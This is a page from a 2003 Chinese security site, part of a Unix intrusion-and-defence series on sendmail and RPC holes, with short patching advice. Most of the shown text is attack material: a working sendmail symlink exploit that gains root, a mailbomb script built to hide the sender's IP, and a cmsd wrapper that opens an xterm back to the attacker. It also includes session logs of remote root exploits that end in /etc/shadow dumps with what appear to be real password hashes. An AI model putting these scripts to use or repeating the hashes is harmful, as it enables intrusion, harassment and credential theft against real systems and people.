首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>本站原创>linux原创>文章内容
unix入侵及防御心得(一)(2)
来源:www.vfocus.net 作者:vitter 发布时间:2003-01-05  

包括.rhosts文件。
利用程序如下:
#!/bin/sh
RunDMC=$1
if [ -f /tmp/dead.letter ]; then rm /tmp/dead.letter
fi
if [ -f /tmp/dead.letter ]; then
echo "Sorry, aint gonna work"
exit
fi
ln -s /.rhosts /tmp/dead.letter
(
sleep 1
echo "helo"
echo "mail from: noone"
echo "rcpt to: noone@bounce"
echo "data"
echo "+ +"
echo "."
sleep 3
echo "quit"
) | telnet ${RunDMC}25
sleep 5
rlogin ${RunDMC}-l root
然后运行之:
exploit www.somesite.com
就可以获得远程主机的rootshell了

sendmail的HELO命令漏洞 =8.8.8=
这个漏洞虽然不能让你在远程系统上得到任何权限,但是它可以用来在发送邮件时
隐藏你的真正IP地址。
假如有人对你发邮件炸弹,你可以从邮件的原始信息中找出它的IP地址:
>From spam@flooders.net Mon Jan 5 22:08:21 1998
Received: from spammer (marc@math.university.edu [150.129.84.5])
by myhost.com (8.8.8/8.8.8) with SMTP id WAA00376
for lcamtuf; Mon, 5 Jan 1998 22:07:54 +0100
Date: Mon, 5 Jan 1998 22:07:54 +0100
From: spam@flooders.net
Message-Id: <3.14159665@pi>
MAILBOOM!!!
其中150.129.84.5就是发炸弹的人的实际IP地址。
但是这个HELO漏洞可以使得发炸弹的人隐藏它的IP,只要让HELO命令超过1024KB。
收到的原始信息将是:
>From spam@flooders.net Mon Jan 5 22:09:05 1998
Received: from xxxxxxxxxxxxxx... [一大串x] ...xxxx
Date: Mon, 5 Jan 1998 22:08:52 +0100
From: spam@flooders.net
Message-Id: <3.14159665@pi>
MAILBOOM!!! Now guess who am I...

这样就看不出来谁发的这封邮件了!
下面是一个利用这个漏洞发邮件炸弹的程序:

#!/bin/bash
TMPDIR=/tmp/`whoami`
PLIK=$TMPDIR/.safe
TIMEOUT=2
LIMIT=10
MAX=20
echo
echo "SafeBomb 1.02b -- sendmail HELO hole usage example"
echo "Author: Michal Zalewski <lcamtuf@boss.staszic.waw.pl>"
echo
if [ "$4" = "" ]; then
echo "USAGE: $0 msgfile address server sender"
echo
echo " msgfile - file to send as a message body"
echo " address - address of lucky recipient"
echo " server - outgoing smtp server w/sendmail"
echo " sender - introduce yourself"
echo
echo "WARNING: For educational use ONLY. Mailbombing is illegal."
echo "Think twice BEFORE you use this

sendmail 对策:更新Sendmail到最新版本或安装相应的补丁文件。在不是邮件服务器和代理服务器上,不要在daemon 模式下(关闭 the -bd 开关) 运行Sendmail。另外一些实用工具可以增强sendmail的安全性,如smap,smapd。还可以考虑用其他的MTA如Qmial。

--[1.4.4 RPC
远程调用(Remote procedure calls ,RPCs)允许一台机器上的程序执行另一台机器上的程序。它们被广泛的用来提供网络服务如NFS文件共享和NIS。由于RPC缺陷导致的弱点正被广泛的利用着。有证据显示,1999年到2000年间的大部分分布式拒绝服务型攻击都是在那些通过RPC漏洞被劫持的机器上执行的。在Solar Sunrise事件中取得广泛成功的对美国军方系统的攻击就是通过利用国防部几百个系统中的一个RPC缺陷来实现的。许多RPC服务及其复杂且以root 运行。这使得很麻烦,这样一来,成功的缓冲区溢出或输入验证攻击将导致之间root访问,比如远程RPC
缓冲区溢出攻击与rpc.ttdbserverd和rpc.cmsd相关,而这两个RPC服务是CDE的一部分,且以root权限运行,攻击者只需成功的发掘溢出条件并发送回一个xterm或一个反向telnet,就搞定了。

[vitter]# cmsd.sh victim 10.16.69.1 2 10.16.69.145
Executing exploit..

rtable_create worked
clnt_call[rtable_insert]: RPC: Unable to receive; errno = Connection
reset
by peer

cmsd.sh如下:
-------------------------------cmsd.sh-----------------------------------------
!#/bin/sh
if [ $# -lt 4 ]; then
echo "Rpc.cmsd buffer overflow for Solaris 2.5 & 2.6 7"
echo "If rpcinfo -p target_ip |grep 100068 = ture - you won!"
echo "Don't forget to xhost+ the targer system"
echo ""
echo "Usage: $0 targer_hostname targer_ip <O/S version (1-7)> your_ip"
exit 1
fi
echo "Executing exploit..."
cmsd -h $1 -c "/usr/openwin/bin/xterm display $4:0.0 &" $3 $2

一个简单的shell脚本调用了cmsd。知道系统名是必需的如上面的victim,并且要提供victim的ip10.16.69.1系统类型2即Solaris 2.6 。攻击者地址10.16.69.145。其结果返回一个如下xterm
# uname -a
SunOS victim 5.6 Generic sun4m sparc SUNW,SPARCstation-20
# id
uid=0(root) gid=0(root)
#

再举几个例子:
1.Example of Sun Solaris 5.7 Sparc RCP.snmp

[root@codeguru /root]# gcc -o snmp snmp.c
snmp.c: In function `main':
snmp.c:181: warning: passing arg 3 of pointer to function from incompatible pointer type
snmp.c:181: warning: passing arg 4 of pointer to function from incompatible pointer type
snmp.c:181: warning: passing arg 5 of pointer to function from incompatible pointer type

[root@codeguru /root]# ./snmp xxx.xxx.xxx.xxx -v 7
copyright LAST STAGE OF DELIRIUM mar 2001 poland //lsd-pl.net/
snmpXdmid for solaris 2.7 2.8 sparc

adr=0x000c8f68 timeout=30 port=928 connected!
sent!
SunOS app1-stg-bk-sh 5.7 Generic_106541-09 sun4u sparc SUNW,Ultra-80
id
uid=0(root) gid=0(root)
cat /etc/shadow
root:N7lNfoCK/LVW.:11450::::::
daemon:NP:6445::::::
bin:NP:6445::::::
sys:NP:6445::::::
adm:NP:6445::::::
lp:NP:6445::::::
uucp:NP:6445::::::
nuucp:NP:6445::::::
listen:*LK*:::::::
nobody:NP:6445::::::
noaccess:NP:6445::::::
nobody4:NP:6445::::::
support:k8ecFpmVkUwDQ:11450::::::
oracle8i:68sOUP5lvdTss:11450::::::
demo:nUqGaO3SmGZr6:11209::::::
bvdemo:CW3HfM/tcoDj2:11209::::::
ib:x9Sao83hvYXyo:11450::::::
bvib:RBJrjMS5gHLFw:11450::::::
bol-ftp:/uOkO0iTpbRhg:11340::::::
iaspec:fCE/zZLpsffGU:11388::::::
bol:M95prTyCJKzog:11450::::::
sz-ftp:SwIE7UoRBG5tc:11340::::::
lads:OmM2BckxLzMLQ:11450::::::
ladsopr:SW027tVoxRjK6:11361::::::
ladsspt:*LK*:::::::
ladsbol:SjJHo6AY3iueI:11464::::::
bvbol:vAyIPXTnrYP9s:11450::::::
csj::11340::::::
lkm:eQkjbp7D5iOxY:11466::::::
guest:0cnYwPC4533Is:11415::::::
ib-ftp:Sx/4GQ.nS2Gq6:11416::::::
hychan:XlalBrtew73hE:11423::::::
sysadm:ph/7McY7xSRO6:11431::::::
xshen:CVxLVj3rTP1fo:11432::::::
xbli:fV9yTyz5Q8qdY:11432::::::
qzhu:3XLhGf7bzFWPo:11432::::::
jhtan:cXC/60E44Ojd2:11432::::::
yhpan:3Yrzw7j4D4aEk:11432::::::
sxzhou:UQcddGFe2pMpU:11450::::::

[root@codeguru /root]#

RPC.snmp只能够溢出成功一次(在重启之前)。

2、Example of Sun Solaris 5.6 Sparc RPC.ttdb
RPC中存在一个ttdb服务。多数的Sun Solaris 5.6都存在远程溢出。

[root@codeguru /root]# gcc -o ttdbserver ttdbserver.c
ttdbserver.c: In function `main':
ttdbserver.c:202: warning: passing arg 3 of pointer to function from incompatible pointer type
ttdbserver.c:202: warning: passing arg 4 of pointer to function from incompatible pointer type
ttdbserver.c:202: warning: passing arg 5 of pointer to function from incompatible pointer type
[root@codeguru /root]# ./ttdbserver xxx.xxx.xxx.xxx -v 6
copyright LAST STAGE OF DELIRIUM jul 1998 poland //lsd-pl.net/
rpc.ttdbserverd for solaris 2.3 2.4 2.5 2.5.1 2.6 sparc

adr=0xeffffaf8 timeout=10 port=1000 connected! sent!
SunOS idc1 5.6 Generic_105181-05 sun4u sparc SUNW,Ultra-1
id
uid=0(root) gid=0(root)
cat /etc/shadow
root:4LHCYj9LnG/GU:11415::::::
daemon:NP:6445::::::
bin:NP:6445::::::
sys:NP:6445::::::
adm:NP:6445::::::
lp:NP:6445::::::
smtp:NP:6445::::::
uucp:NP:6445::::::
nuucp:NP:6445::::::
listen:*LK*:::::::
nobody:NP:6445::::::
noaccess:NP:6445::::::
nobody4:NP:6445::::::
test:rLtlmW2gxKBdA:::::::
yhr:aeqB9KuKlrQ7A:::::::

以上2个例子的源代码都可以从hack.co.za中找到

RPC对策:检查你是否运行了下面3个被广泛利用的RPC服务中的一个:
     rpc.ttdbserverd
     rpc.cmsd
     rpc.statd
这些服务通常被缓冲区溢出攻击成功利用,因为RPC程序不进行合适的错误检查。缓冲区溢出允许攻击者发送程序不支持的数据,因为程序不进行合理的错误检查,数据被继续传递和处理。
只要允许,在可以从Internet 直接访问的机器上关闭或删除这些服务
在你必须运行该服务的地方,安装最新的补丁
定期搜索供应商的补丁库查找最新的补丁并立刻安装。
   在路由或防火墙关闭RPC 端口 (port 111) 。
   关闭 RPC "loopback" 端口, 32770-32789 (TCP and UDP)
如果你的unix系统支持Secure RPC,那么就考虑用他


--[1.4.5 NFS

Unix 系统的NFS服务相当于MS系统上的文件共享服务.也许有人认为这是一个不恰当的比喻,但二者在安全问题上有惊人的类似,正如NT/Windows机器上的安全问题很多来自共享资源一样,NFS服务的错误配置,也可以让你的系统被入侵者接管.NFS建立在RPC(远程过程调用)机制上,同样地,基于RPC 机制上的NT的服务也不安全;针对MS共享资源的攻击是当前Internet上最流行的攻击NT方式,对NFS的攻击也对UNix平台机器的最常用手段.
NFS的不安全性主要体现于以下4个方面:
1、新手对NFS的访问控制机制难于做到得心应手,控制目标的精确性难以实现
2、NFS没有真正的用户验证机制,而只有对RPC/Mount请求的过程验证机制
3、较早的NFS可以使未授权用户获得有效的文件句柄
4、在RPC远程调用中,一个SUID的程序就具有超级用户权限.
我们分别从这几个方面加以论述:
1、在大多数Unix系统的缺省的情况下,Export目录时,如果不指定只读,该目录为可写;NFS的访问控制文件很容易出现错误配置,很多情况下配置为可以被网上任何一台机器访问,远程用户可以用这条命令来查到是否有NFS的配置漏洞,这个命令是几乎所有的NFS攻击的必经步骤:

共6页: 上一页 [1] 2 [3] [4] [5] [6] 下一页
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·OPENVPN安装手册
·openssh记录sftp详细日志,并chr
·ssh-3.2记录sftp日志,并且chroo
·用linux构建仗剑江湖mud游戏服务
·Linux高可用(HA)集群笔记heartbe
·关于日志记录系统设计思想
·unix入侵及防御心得(一)(1)
·linux下的Informix安装配置
·Informix的数据库优化
·Linux下apache运行mysql,cgi,p
·Linux下安装Oracle817完美解决版
·改的一个非GBK的JSP的webshell
  相关文章
·unix入侵及防御心得(一)(1)
·使用rsync从linux到linux或到win
·在VMware 4.5.1下运行Fedora Cor
·Fedora 1升级2.6.5内核
·如何给solaris打补丁
·关于日志记录系统设计思想
·Linux + Win me 2000 xp 用OS Lo
·忘记linux密码怎么办
·用linux构建仗剑江湖mud游戏服务
·OPENVPN安装手册
·Linux高可用(HA)集群笔记heartbe
·lvs+heard负载均衡文档(DR)
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved